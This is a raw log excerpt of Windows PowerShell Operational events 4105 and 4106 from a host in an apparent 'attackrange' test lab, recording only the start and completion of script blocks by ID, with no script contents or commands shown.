SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034539
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034538
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034521
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034516
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034515
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034493
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034492
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034491
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034490
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
